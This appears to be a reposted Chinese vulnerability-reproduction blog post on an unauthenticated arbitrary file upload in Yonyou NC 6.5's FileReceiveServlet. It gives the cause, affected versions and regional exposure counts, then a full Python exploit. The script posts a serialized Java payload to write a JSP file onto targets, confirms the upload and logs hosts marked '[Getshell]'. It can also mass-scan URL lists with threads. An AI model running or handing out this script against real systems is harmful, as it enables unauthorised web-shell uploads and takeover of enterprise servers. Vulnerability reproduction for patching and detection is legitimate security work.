用友NC任意文件上传漏洞复现
0x00 事件描述
用友NC是一款企業(yè)級管理軟件,在大中型企業(yè)廣泛使用。實現(xiàn)建模、開發(fā)、繼承、運行、管理一體化的IT解決方案信息化平臺。用友NC 為C/S 架構,使用JAVA編程語言開發(fā),客戶端可直接使用UClient,服務端接口為HTTP。
用友NC6.5的某個頁面,存在任意文件上傳漏洞。漏洞成因在于上傳文件處未作類型限制,未經(jīng)身份驗證的攻擊者可通過向目標系統(tǒng)發(fā)送特制數(shù)據(jù)包來利用此漏洞,成功利用此漏洞的遠程攻擊者可在目標系統(tǒng)上傳任意文件執(zhí)行命令。
0x01 漏洞原理
根據(jù)文檔,FileReceiveServlet所對應的類為com.yonyou.ante.servlet.FileReceiveServlet。
jar包所在目錄:/yonyou\home\modules\uapss\lib。
由于68行代碼通過File outFile = new File(path, fileName)創(chuàng)建了一個文件,導致攻擊者可通過此進行任意文件上傳。
0x02 影響版本
用友NC遠程代碼執(zhí)行漏洞影響版本:NC6.5之后版本。
0x03 影響范圍
互聯(lián)網(wǎng)側使用用友NC的IP,中國大陸使用數(shù)量最多,共有 9174 個;北京使用數(shù)量最多,共有 1,239 個;廣東第二,共有 587 個;貴州第三,共有 575 個,上海第四,共有 541 個;江蘇第五,共有 433 個。
0x04 漏洞驗證POC腳本
import requests import threadpool import urllib3 import sys import argparseurllib3.disable_warnings() proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'} header = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Referer": "https://google.com", }def multithreading(funcname, filename="url.txt", pools=5):works = []with open(filename, "r") as f:for i in f:func_params = [i.rstrip("\n")]works.append((func_params, None))pool = threadpool.ThreadPool(pools)reqs = threadpool.makeRequests(funcname, works)[pool.putRequest(req) for req in reqs]pool.wait()def wirte_targets(vurl, filename):with open(filename, "a+") as f:f.write(vurl + "\n")return vurldef exp(u):uploadHeader = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36","Content-Type": "multipart/form-data;","Referer": "https://google.com"}uploadData = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78"shellFlag="t0test0ls"uploadData+=shellFlagtry:req1 = requests.post(u + "/servlet/FileReceiveServlet", headers=uploadHeader, verify=False, data=uploadData, timeout=25)if req1.status_code == 200 :req3=requests.get(u+"/t00ls.jsp",headers=header, verify=False, timeout=25)if req3.text.index(shellFlag)>=0:printFlag = "[Getshell]" + u+"/t00ls.jsp" + "\n"print (printFlag)wirte_targets(printFlag, "vuln.txt")except :pass#print(printFlag, end="")if __name__ == "__main__":if (len(sys.argv)) < 2:print('useage : python' +str(sys.argv[0]) + ' -h')else:parser =argparse.ArgumentParser()parser.description ='YONYOU UC 6.5 FILE UPLOAD!'parser.add_argument('-u',help="url -> example [url]http://127.0.0.1[/url]",type=str,dest='check_url')parser.add_argument('-r',help="url list to file",type=str,dest='check_file')args =parser.parse_args()if args.check_url:exp(args.check_url)if(args.check_file):multithreading(exp, args.check_file, 8)0x05 修復建議
請聯(lián)系廠商獲取補丁更新:https://www.yonyou.com/
0x06 參考鏈接
?
轉載請注明:Adminxe's Blog???用友NC任意文件上傳漏洞復現(xiàn)
總結
以上是生活随笔為你收集整理的用友NC任意文件上传漏洞复现的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Linux中fork函数作用,深入解析L
- 下一篇: IT 项目管理制度